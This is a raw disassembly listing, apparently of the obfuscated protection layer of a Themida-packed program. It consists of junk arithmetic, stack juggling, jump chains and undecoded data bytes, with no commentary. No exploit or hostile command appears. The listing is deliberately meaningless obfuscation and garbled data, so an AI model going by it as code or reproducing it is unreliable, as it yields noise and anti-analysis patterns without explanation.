loc_5673D4:				; CODE XREF: Themida_:00570236j
		add	eax, 0FD4D6A6h
		push	ebp
		mov	ebp, 74C82539h
		sub	eax, ebp
		pop	ebp
		xor	eax, 8D716CEAh
		jmp	loc_5721D9
; ---------------------------------------------------------------------------


loc_5673EC:				; CODE XREF: Themida_:0056769Dj
		not	edx
		jmp	loc_56F8DC
; ---------------------------------------------------------------------------


loc_5673F3:				; CODE XREF: Themida_:005667B5j
		mov	[esp], edx
		mov	edx, 0B0D36F0h
		xor	edx, 39B72EBBh
		jmp	loc_5659F8
; ---------------------------------------------------------------------------
		dw 5558h
		dd 1D1DB951h, 4C010535h, 0FF590424h, 565F2434h,	43E9E689h
		dd 0BAFFFFFEh, 616E15ABh, 119AF281h, 0D30156F4h, 65DBE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567432:				; CODE XREF: Themida_:00568E7Fj
		mov	ecx, 7B4118C9h
		mov	edx, ecx
		jmp	loc_564D3A
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 4EC8324h, 0E9240C89h, 4D86h,	241C875Ah, 5324248Bh, 8F32E9h
		dd 4BD5500h, 0E9000000h, 23E6h,	31BA525Eh, 110A846h, 0B6E95AD5h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567473:				; CODE XREF: Themida_:00569419j
		mov	[esp], esp
		push	2160h
		mov	[esp], edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	edx
		push	edi
		push	eax
		mov	eax, 18F77DD1h
		jmp	loc_57182F
; ---------------------------------------------------------------------------
		db 68h,	30h, 14h
		dd 4890000h, 34FF5424h,	0E9515824h, 0FFFF8DAEh
; ---------------------------------------------------------------------------


loc_5674A8:				; CODE XREF: Themida_:00570496j
		mov	edx, 59D78F2Dh
		jmp	loc_5713A2
; ---------------------------------------------------------------------------


loc_5674B2:				; CODE XREF: Themida_:0056D9B8j
		pop	eax
		or	ecx, 37F90641h
		and	ecx, 18126A4Ch
		jmp	loc_563298
; ---------------------------------------------------------------------------


loc_5674C4:				; CODE XREF: Themida_:0056D959j
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_567FD1
; ---------------------------------------------------------------------------


loc_5674D7:				; CODE XREF: Themida_:00567C0Aj
		not	dx
		inc	dx
		push	ax
		mov	ax, 841h
		jmp	loc_57244D
; ---------------------------------------------------------------------------
		db 89h
		dd 4BB53E5h, 1000000h, 0E9685BDDh, 89000027h, 0CAE92404h
		dd 5FFFFE3h, 1B1943C7h,	3042685Bh, 34890000h, 63EEBE24h
		dd 0DEF750DDh, 10BBBD55h, 0BF578263h, 51EA0861h, 1B97E781h
		dd 0EFC14134h, 7BCF8107h, 525F2A1Eh, 52B1E9h, 6E1C000h
		dd 28E4C180h, 7D2C59C8h, 5124148Bh, 0C1815954h,	4, 5098E9h
		dd 0CEE95700h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567557:				; CODE XREF: Themida_:0056DED6j
		pop	ebp
		xor	eax, [esp]
		jmp	loc_573296
; ---------------------------------------------------------------------------
		dd 0DDCDE95Fh, 565BFFFFh, 42474FFh, 0FFB833E9h,	4EC83FFh
		dd 68243489h, 1D9Fh, 0FFA878E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567581:				; CODE XREF: Themida_:005711D1j
		inc	edx
		sub	edx, 4F6B9D51h
		or	eax, edx
		jmp	loc_57192A
; ---------------------------------------------------------------------------


loc_56758F:				; CODE XREF: Themida_:005630BFj
		push	86Bh
		mov	[esp], ebp
		mov	ebp, 1949A4h
		sub	ebp, 2CD976FEh
		dec	ebp
		not	ebp
		push	edi
		mov	edi, 49FC5053h
		xor	ebp, edi
		pop	edi
		jmp	loc_571463
; ---------------------------------------------------------------------------


loc_5675B3:				; CODE XREF: Themida_:005603F9j
		mov	[esp], ebp
		mov	ebp, 0
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_56DD5A
; ---------------------------------------------------------------------------
		dw 0DE2Dh
		dd 0E951394Bh, 0FFFFC2D6h, 3E6C05Ch, 0E9D0B450h, 0FFFFA07Ah
; ---------------------------------------------------------------------------


loc_5675DC:				; CODE XREF: Themida_:0056AA2Fj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_573C69
; ---------------------------------------------------------------------------
		db 2Ch
		dd 0C5A7E914h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5675F6:				; CODE XREF: Themida_:0056D3ACj
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 38h
		add	ecx, edx
		push	49E4h
		mov	[esp], ebp
		mov	ebp, esi
		jmp	loc_568160
; ---------------------------------------------------------------------------
		dw 489h
aIrvs7		db '$‰àVé7Â',0
		dd 24048900h, 19409868h, 24048B74h, 4C481h, 57400000h
		dd 5B81BE56h, 0F681492Dh, 1D25CB4h, 49B3CE81h, 0F6810C7Fh
		dd 730740FAh, 0EBBDE946h, 0DE89FFFFh, 5EF0315Bh, 0E903E8C1h
		dd 0FFFFE4B1h
; ---------------------------------------------------------------------------


loc_567660:				; CODE XREF: Themida_:0056C4BAj
		mov	ebp, 3B172005h
		add	ebp, 0F9514804h
		jmp	loc_56D621
; ---------------------------------------------------------------------------
		dd 66240489h, 88B8B652h, 0E95A66F0h, 0BEE7h
; ---------------------------------------------------------------------------


loc_567680:				; CODE XREF: Themida_:00562DF8j
		push	eax
		pop	edx
		jmp	loc_5724C6
; ---------------------------------------------------------------------------


loc_567687:				; CODE XREF: Themida_:00572BA9j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_56A0E0
; ---------------------------------------------------------------------------


loc_567696:				; CODE XREF: Themida_:00573C5Cj
		dec	edx
		xor	edx, 28C63CCh
		jmp	loc_5673EC
; ---------------------------------------------------------------------------


loc_5676A2:				; CODE XREF: Themida_:005643B8j
		mov	ebx, 54433BAh
		inc	ebx
		shl	ebx, 5
		sub	ebx, 8E602F34h
		jmp	loc_5617CB
; ---------------------------------------------------------------------------
		dw 5854h
		dd 4364BB53h, 0EB815B86h, 5B864360h, 835BD801h,	0C8904ECh
		dd 8D12E924h, 0F381FFFFh, 5F9C200Ah, 1C8BDE89h,	4C48324h
		dd 915430BFh, 0E9F73166h, 58A5h
; ---------------------------------------------------------------------------


loc_5676EC:				; CODE XREF: Themida_:00560E9Dj
		mov	edx, 4012BE0h
		xor	[esp+4], edx
		jmp	loc_572D73
; ---------------------------------------------------------------------------


loc_5676FA:				; CODE XREF: Themida_:0055EED1j
		sub	ebp, 4
		jmp	loc_56F552
; ---------------------------------------------------------------------------


loc_567705:				; CODE XREF: Themida_:00564D21j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_561293
; ---------------------------------------------------------------------------
aYysP		db 'YYé*¯',0
		dw 8100h
aIUfs3k		db 'ë#Üž”é3ª',0
		align 2
		dw 0E95Dh
		dd 189Ch
; ---------------------------------------------------------------------------


loc_567728:				; CODE XREF: Themida_:0056B2E1j
		mov	ebx, [esp]
		add	esp, 4
		dec	ebp
		add	ebp, 3D71F9B0h
		sub	esi, 0A69434Bh
		sub	esi, ebp
		add	esi, 0A69434Bh
		pop	ebp
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_56C90A
		push	dword ptr [edi+28h]
		add	dword ptr [esp], 388F1197h
		jmp	loc_56FDAE
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 0C8B0424h, 4C48124h,	8F000000h, 248B2404h, 2424D324h
		dd 7357E99Ch, 5D57FFFFh, 1D1AE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567782:				; CODE XREF: Themida_:00572DDCj
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_564211
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aHe		db '$he%',0
		align 2
		dw 489h
		dd 48B5424h, 62E95724h,	0C100007Dh, 0BE5607E7h,	44E85375h
		dd 0E95EF721h, 0FFFFFA70h, 5E9968h, 2937E900h, 0E9500000h
		dd 113h, 2DE9D2F6h, 89FFFFAEh, 0EB815EF3h, 1312320Eh, 0E0E9FB01h
		dd 55000045h, 7A6BE9h, 0BE565900h, 5F9C66D7h, 815EF301h
		dd 4ECh, 24348900h, 0FF80CAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567801:				; CODE XREF: Themida_:0056C04Cj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56217E
; ---------------------------------------------------------------------------
		dd 72DBCE81h, 3BE902DFh, 5AFFFFA2h, 23F4E9h, 240C8B00h
		dd 5804C483h, 0FF8669E9h, 4C283FFh, 0E9241487h,	3B2Bh
		dd 0FF7290E9h, 0E95759FFh, 0FFFF94E7h
; ---------------------------------------------------------------------------


loc_567848:				; CODE XREF: Themida_:00560441j
		sub	esp, 4
		jmp	loc_5706C0
; ---------------------------------------------------------------------------
		db 0B9h
		dd 14AB6DC2h, 0E906E1C1h, 8D36h, 0C4E9D1F7h, 5100006Eh
		dd 0FFA8A3E9h, 68FFh, 2C810000h, 7543A924h, 243C297Fh
		dd 0A9240481h, 5F7F7543h, 834BE9h, 0A8C28000h, 8514E9h
		db 0
; ---------------------------------------------------------------------------


loc_567891:				; CODE XREF: Themida_:005738B5j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_56E982
; ---------------------------------------------------------------------------
		dw 2EE9h
		dd 81FFFF72h, 4C4h, 42E95500h, 81FFFFA0h, 0EA04246Ch, 56635C0Ah
		dd 4F6F44BEh, 0CFBE94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5678C2:				; CODE XREF: Themida_:0057192Bj
		inc	eax
		shl	eax, 3
		push	edx
		push	0
		pop	edx
		sub	edx, eax
		jmp	loc_56F493
; ---------------------------------------------------------------------------
aBG		db 'Ƀ<|',0
		dw 0DEE9h
		dd 0B8FFFFF7h, 23AD3334h, 548D8F7h, 2654864h, 3F9FE996h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5678F2:				; CODE XREF: Themida_:00566E60j
		push	4
		pop	esi
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		dd 0FF71B0E9h, 59CB28FFh, 0E908E3C0h, 0C122h, 81241C8Bh
		dd 4C4h, 0E9BF5700h, 29155758h,	4BF8E9F8h, 2BD0000h, 89000000h
		dd 0F8015DEFh, 0E9243C8Bh, 0FFFFF40Ah
; ---------------------------------------------------------------------------


loc_567954:				; CODE XREF: Themida_:005610B7j
		sub	edi, 6BFE12EAh
		pop	esi
		xor	edi, 9C0EA67Ch
		sub	ebx, edi
		pop	edi
		xor	ebx, 81199789h
		sub	eax, 38AD4413h
		push	edx
		push	5594h
		mov	[esp], edi
		mov	edi, 45924F51h
		mov	edx, edi
		pop	edi
		add	eax, edx
		pop	edx
		add	eax, ebx
		sub	eax, 45924F51h
		push	ebx
		mov	ebx, 5B7F1689h
		jmp	loc_56C22B
; ---------------------------------------------------------------------------
		db 5Ah,	5Eh, 81h
		dd 85055AF5h, 2E5C118h,	0D7E9E5D1h, 33000041h, 7EE92434h
		dd 0F70000C1h, 81E7D1DFh, 0FE2F3EF7h, 0E9FE010Bh, 1203h
		dd 71C6F181h, 0E9C13126h, 0E9814108h, 0E96AF8h,	14EDEA81h
		dd 0CA012372h, 14EDC281h, 0C8B2372h, 502E924h, 2D5E0000h
		dd 7E54C42h, 0F4260405h, 2DD80166h, 66F42604h, 0FF988BE9h
		dd 3E7C1FFh, 6A79E9h, 0FFC18000h, 4EE95153h
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567A0F:				; CODE XREF: Themida_:00566DAEj
		push	ebx
		mov	bl, dh
		mov	ah, bl
		jmp	loc_569F27
; ---------------------------------------------------------------------------
		db 88h,	0CEh, 0E9h
		dd 0FFFF91D1h, 405h, 24048700h,	0FF9A89E9h, 4BBFFh, 0DD010000h
		dd 242C335Bh, 0E9242C31h, 0FFFF9C1Dh
; ---------------------------------------------------------------------------


loc_567A40:				; CODE XREF: Themida_:00569A7Aj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_573864
; ---------------------------------------------------------------------------
		db 57h
		dd 4EC81h, 34890000h, 7FD8E924h, 515CFFFFh, 489B68h, 24248900h
		dd 4240483h, 0AF78E959h, 2C81FFFFh, 744CAE24h, 87E95A1Ch
		dd 89000010h, 0B9512404h, 4, 8159C889h,	0E911BEE9h, 0F029E931h
		dd 0C301FFFFh, 0FF95DAE9h, 0C6835AFFh, 24348704h, 0A6E9515Ch
		dd 0F7FFFF7Dh, 0BD10E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567AAE:				; CODE XREF: Themida_:0056AA9Dj
		push	edi
		jmp	loc_5693A8
; ---------------------------------------------------------------------------
		dd 405E089h, 83000000h,	48704C0h, 48F5C24h, 0C335C24h
		dd 240C3124h, 0FF8F3FE9h, 5F801FFh, 47F14028h, 96D2E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567ADE:				; CODE XREF: Themida_:00564FA8j
		add	edi, 4
		jmp	loc_56C131
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0E904EC83h, 0FFFFB4FCh, 83243C8Bh, 48F04C4h,	24248B24h
		dd 0FF9C17E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567B05:				; CODE XREF: Themida_:0056BF40j
		push	eax
		push	ebp
		mov	ebp, 63B257C0h
		jmp	loc_5667AD
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 9
		dd 29186754h, 0DE95AD0h, 21FFFFFEh, 2434FFE9h, 68242C8Bh
		dd 10CCh, 98A3E9h
		db 0
; ---------------------------------------------------------------------------


loc_567B31:				; CODE XREF: Themida_:00570184j
		push	ecx
		push	ebp
		mov	ebp, 6FCA473Ah
		push	ebp
		pop	ecx
		jmp	loc_568D79
; ---------------------------------------------------------------------------


loc_567B3F:				; CODE XREF: Themida_:00562C40j
		xchg	edi, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_56A7D6
; ---------------------------------------------------------------------------


loc_567B57:				; CODE XREF: Themida_:0056C8EDj
		xor	ebx, 88432927h
		add	ecx, ebx
		pop	ebx
		and	eax, ecx
		pop	ecx
		shr	eax, 0Eh
		xor	eax, ecx
		jmp	loc_5663DA
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 7555C3BEh, 7E6C17Eh,	371CF681h, 0B85068A7h, 7CF3341Dh
		dd 4806E8C1h, 0D48E0D1h, 3DBE61D9h, 0F54AB405h,	0AF6AE911h
		dd 0F281FFFFh, 5288C032h, 685AD501h, 3CBDh, 200DE9h
		db 0
; ---------------------------------------------------------------------------


loc_567BAD:				; CODE XREF: Themida_:0056A80Aj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	609Eh
		jmp	loc_56AE18
; ---------------------------------------------------------------------------
		dd 4C481h, 0B9510000h, 3EC4160Ah, 2EBAC981h, 0D1F77674h
		dd 0F704E1C1h, 81D9F7D9h, 0BC1454F1h, 0CDC6E910h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567BF2:				; CODE XREF: Themida_:00572033j
		pop	ax
		sub	ax, 0E8E8h
		and	dx, ax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	dx, 3134h
		jmp	loc_5674D7
; ---------------------------------------------------------------------------
		db 29h
		dd 48E958C1h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567C17:				; CODE XREF: Themida_:005713BEj
		add	ebx, 63182347h
		mov	ecx, ebx
		pop	ebx
		rep movsd
		add	esp, [edx+38h]
		jmp	loc_573474
; ---------------------------------------------------------------------------
		dw 0F3BBh
		dd 1322B43h, 0E9815BD9h, 65A91561h, 0FF8AB2E9h,	4BE56FFh
		dd 1000000h, 1C875EF3h,	24248B24h, 0ACD8E9h, 24148900h
		dd 7B59ADBAh, 8647E903h, 0CC88FFFFh, 0E9FFC480h, 0FFFFF22Bh
		dd 4EC81h, 3C890000h, 4BF24h, 3FE90000h, 80FFFFEBh, 2B68BAE1h
		dd 89000026h, 88502414h, 87F68CCh, 1C890000h, 51E78824h
		dd 0FFA378E9h, 0F0895EFFh, 8957E95Eh, 0C481FFFFh, 4, 699C181h
		dd 0E9C1269Dh, 0F1814102h, 1A091B36h, 4CC8C981h, 0E955302Bh
		dd 0BCF5h, 0ED81C501h, 76917D4Eh, 8324048Bh, 0CFE904C4h
		dd 86FFFFE9h, 28E9241Ch
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567CDF:				; CODE XREF: Themida_:00562F5Ej
		mov	esp, [esp]
		jmp	loc_572F71
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C58100h, 81000000h, 4EDh, 242C8700h, 5424248Bh
		dd 2F5DE9h, 0E7895700h,	4C781h,	0EF830000h, 243C8704h
		dd 8924248Bh, 0A1E9240Ch, 500000B0h, 4B8h, 0E9C50100h
		dd 0FFFFA87Bh, 730A2ABAh, 1198BB74h, 0D3315974h, 0F3E9515Ah
		dd 5500002Ah, 6009E9h, 44CD8100h, 8114A87Ch, 61D1F0C5h
		dd 7E55E9F8h, 3C870000h, 0C4835C24h, 0E2895204h, 4C281h
		dd 0B9510000h, 4, 1AE9CA01h, 8BFFFFE4h,	0C4832404h, 41C68104h
		dd 0E9169244h, 6401h, 33243C31h, 0D1E9243Ch
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567D8F:				; CODE XREF: Themida_:00563A31j
		push	ecx
		sub	dword ptr [esp], 7AC7D7Eh
		pop	ebx
		add	ebx, 7AC7D7Eh
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, ebx
		mov	edi, ecx
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, edi
		pop	edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		db 5, 0A1h, 53h
		dd 0C80105B1h, 0B153A12Dh, 0EC835905h, 242C8904h, 54624BBDh
		dd 8145457Dh, 270548C5h, 0FAF58133h, 0E9D3F74Eh, 7F18h
		dd 8106E2C1h, 0FEF909F2h, 6BE95286h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567DFF:				; CODE XREF: Themida_:0056ACDCj
		push	di
		jmp	loc_57180A
; ---------------------------------------------------------------------------
		dw 34BBh
		dd 0F700F848h, 0DBF743DBh, 482FEB81h, 0DA0100F8h, 0FF855CE9h
		dd 241C89FFh, 2BBh, 81B2E900h, 0D488FFFFh, 0FF58E588h
		dd 815A2434h, 4C4h, 0E8885000h,	0F5E90288h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567E43:				; CODE XREF: Themida_:00573727j
		pop	esp
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	ebp
		jmp	loc_563322
; ---------------------------------------------------------------------------
		dd 7A3B68h, 24148900h, 0C2815A54h, 4, 81E68956h, 4C6h
		dd 4EE8300h, 8EF6E9h, 3C8B5400h, 4C48124h, 52000000h, 9544FBBAh
		dd 2E2C136h, 87CA814Ah,	0F76EB300h, 33C281DAh, 8155B55Eh
		dd 41B5C0C2h, 5AD701A9h, 81E78957h, 4C7h, 4B85000h, 29000000h
		dd 6EE958C7h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567EB3:				; CODE XREF: Themida_:00568D5Ej
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_57283E
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0D4E78166h, 6657667Eh, 0E92414F7h, 5FBh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 6C373545h
		and	esi, 43D65651h
		sub	esi, 4016143Dh
		add	ebp, esi
		pop	esi
		jmp	loc_571BE9
; ---------------------------------------------------------------------------
		db 51h,	54h, 59h
		dd 4BA52h, 0D1010000h, 0AB7FE9h, 81E58900h, 4C5h, 4C58100h
		dd 55000000h, 42474FFh,	8B2434FFh, 0C483242Ch, 0EC815604h
		dd 4, 83242489h, 5E042404h, 4C681h, 0EC810000h,	4, 0BB241C89h
		dd 4, 0B493E9h,	1798BB00h, 0FEE94423h, 8F000015h, 4832404h
		dd 0BFE90424h, 68FFFF7Bh, 69ABh, 0E9240C89h, 0FFFFA427h
		dd 241C895Ch, 4BBh, 8BDF0100h, 0C483241Ch, 0CDBFE904h
		dd 3C87FFFFh, 14895C24h, 6B33E924h, 0CA88FFFFh,	0FFEDF9E9h
		dd 240C87FFh, 0FFBAD9E9h, 0E95D56FFh, 0FFFF7418h, 8F4DE942h
		dd 29660000h, 818FE9F8h, 81470000h, 91032AC7h, 5FFA0144h
		dd 16E6E9h
		db 0
; ---------------------------------------------------------------------------


loc_567FD1:				; CODE XREF: Themida_:005674D2j
		xchg	eax, [esp]
		jmp	loc_572225
; ---------------------------------------------------------------------------


loc_567FD9:				; CODE XREF: Themida_:0056D84Aj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_562929
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 0E930FF66h, 0FFFF6AD1h, 0C581F501h, 7D6717F9h
		dd 583A685Eh, 4890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56459A
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0C1592414h, 0B85004E9h, 0A923C6Fh, 2508E0C1h, 5EEF1004h
		dd 2A20BD35h, 0F010E965h, 0C281FFFFh, 469AF547h, 4A80E281h
		dd 0B951055Fh, 2FA53FAEh, 8159CA09h, 0E73DCFC2h, 0E9D709FEh
		dd 1523h, 8DF2E955h, 0C870000h,	0D934E924h, 6853FFFFh
		dd 1E895503h, 6EE9515Bh, 33FFFFA6h, 3C31243Ch, 243C3324h
		dd 924248Bh, 0E99C2404h, 0FFFFF80Eh, 0E9028F66h, 0FFFF6A39h
		dd 0C57193BEh, 80E9532Ah, 8BFFFF8Bh, 0E950241Ch, 3495h
; ---------------------------------------------------------------------------


loc_5680AC:				; CODE XREF: Themida_:0057343Ej
		not	dword ptr [esp]
		pop	eax
		xchg	eax, ebp
		xchg	ebp, ecx
		push	edi
		mov	edi, 7D300424h
		shl	edi, 1
		add	edi, 2A2536C8h
		and	ecx, edi
		jmp	loc_56D246
; ---------------------------------------------------------------------------


loc_5680C8:				; CODE XREF: Themida_:005731ACj
		mov	[esp], ecx
		pop	esi
		pop	ecx
		shr	esi, 7
		push	1781h
		mov	[esp], ebp
		mov	ebp, 79915D20h
		sub	esp, 4
		jmp	loc_56B078
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 24048B04h, 0F9C2E950h, 0EE81FFFFh, 1B8F67BDh, 0BAB1BF57h
		dd 0FE312939h, 0FFBC98E9h, 58C308FFh, 280DB652h, 0AA4AE9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568112:				; CODE XREF: Themida_:0056BFBDj
		add	edx, 0A3EC3233h
		add	ebp, 0BD84EF9h
		add	ebp, edx
		sub	ebp, 0BD84EF9h
		mov	edx, [esp]
		add	esp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_56F783
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 4EB81h, 3AE90000h, 0F700003Ch, 0B4D5E9D2h
		dd 0E95A0000h, 0FFFFA1A2h
; ---------------------------------------------------------------------------


loc_568160:				; CODE XREF: Themida_:00567611j
		push	eax
		mov	eax, 0
		add	eax, ecx
		mov	[eax], ebp
		pop	eax
		pop	ebp
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_56E4C3
; ---------------------------------------------------------------------------


loc_568175:				; CODE XREF: Themida_:0056BF37j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	edx
		mov	edx, 4
		add	dword ptr [esp+4], 16F1C4Ah
		add	[esp+4], edx
		sub	dword ptr [esp+4], 16F1C4Ah
		pop	edx
		mov	ebp, [esp]
		push	edx
		jmp	loc_573510
; ---------------------------------------------------------------------------


loc_5681A6:				; CODE XREF: Themida_:0057149Bj
		add	ebx, 1
		xor	ebx, 0A36EC6CFh
		push	edx
		jmp	loc_564DA8
; ---------------------------------------------------------------------------
aTlSx		db 'T‹<$é•,',0
		dd 0A0E95000h, 5D000055h, 9E0CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5681CD:				; CODE XREF: Themida_:0057162Fj
		sub	ebx, eax
		pop	eax
		push	dword ptr [eax]
		jmp	loc_5692BE
; ---------------------------------------------------------------------------
		db 20h
		dd 31E959CAh, 89FFFFADh, 9CBD242Ch, 890A7964h, 0EC815DEFh
		dd 4, 57241C89h, 58DCE9h, 68D3E900h, 6851FFFFh,	27A31D2Bh
		dd 779FE959h, 3C87FFFFh, 0D3295C24h, 5A2434FFh,	74A8E9h
		dd 0ACE95300h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56821F:				; CODE XREF: Themida_:0056D4C8j
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	esp
		push	dword ptr [esp]
		pop	ebp
		push	710Dh
		jmp	loc_56FC61
; ---------------------------------------------------------------------------
		dd 8305EEC1h, 0C681FFC6h, 38C5955h, 70EE8146h, 81225440h
		dd 7A04A6EEh, 8DAAE9B6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56825E:				; CODE XREF: Themida_:0056A401j
		pop	eax
		add	eax, 4
		jmp	loc_5691D2
; ---------------------------------------------------------------------------
		db 55h,	56h, 57h
		dd 422FE5BFh, 0F7DFF759h, 0D2F781D7h, 0E94D2257h, 65F2h
; ---------------------------------------------------------------------------


loc_568280:				; CODE XREF: Themida_:0056407Dj
		mov	edx, 4B730062h
		push	ebx
		mov	ebx, 366B211Dh
		xor	edx, ebx
		pop	ebx
		shr	edx, 8
		shr	edx, 3
		sub	edx, 0FDAD9BDFh
		sub	ebx, edx
		jmp	loc_561953
; ---------------------------------------------------------------------------


loc_5682A1:				; CODE XREF: Themida_:0056715Fj
		xchg	edx, [esp]
		mov	esp, [esp]
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jnz	loc_56C90A
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 17D31089h
		push	edi
		sub	esp, 4
		mov	[esp], eax
		push	13223064h
		mov	eax, [esp]
		add	esp, 4
		push	4E4Eh
		mov	[esp], edx
		push	esi
		mov	esi, 2EB7440Fh
		jmp	loc_560263
; ---------------------------------------------------------------------------
		db 0FEh, 0C9h, 0F6h
		dd 0FC180D1h, 2025F180h, 0C2FE59CAh, 0ACD7E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5682FA:				; CODE XREF: Themida_:0056FAE4j
		pop	ecx
		jmp	loc_5612E1
; ---------------------------------------------------------------------------
		dd 0C68037B6h, 0A7F680ABh, 508FCE80h, 516659B4h, 0BB4BE9h
		dd 0E5C14D00h, 0B56CE905h, 34FF0000h, 24048B24h, 81E38953h
		dd 4C3h, 4C38300h, 5C241C87h, 726F68h, 243C8900h, 0FFDDF8E9h
		dd 81E589FFh, 4C5h, 4B95100h, 29000000h, 2C8759CDh, 1C895C24h
		dd 243C6824h, 5EE93FF2h
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568363:				; CODE XREF: Themida_:0057334Dj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		movsx	ecx, ax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_57231E
; ---------------------------------------------------------------------------
		dw 0F888h
		dd 0FFD4B9E9h, 1650BEFFh, 0E6C144E3h, 56B85005h, 211B3149h
		dd 80E958C6h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5683B7:				; CODE XREF: Themida_:0057205Bj
		xchg	ecx, [esp]
		jmp	loc_572C11
; ---------------------------------------------------------------------------
		db 87h
		dd 248B242Ch, 0E1895124h, 4EC81h, 2C890000h, 0A5ECE924h
		dd 0C89FFFFh, 2474FF24h, 2434FF04h, 4C48159h, 8F000000h
		dd 248B2404h, 240C8924h, 0E950C188h, 30A8h
; ---------------------------------------------------------------------------


loc_5683F8:				; CODE XREF: Themida_:0056C805j
		push	5F5h
		mov	[esp], ecx
		push	edi
		push	ebx
		push	edx
		mov	edx, 6B047FA8h
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, 34E07FC8h
		inc	ebx
		xor	ebx, 1FC101CBh
		shr	ebx, 8
		neg	ebx
		push	ebp
		push	ecx
		jmp	loc_564382
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
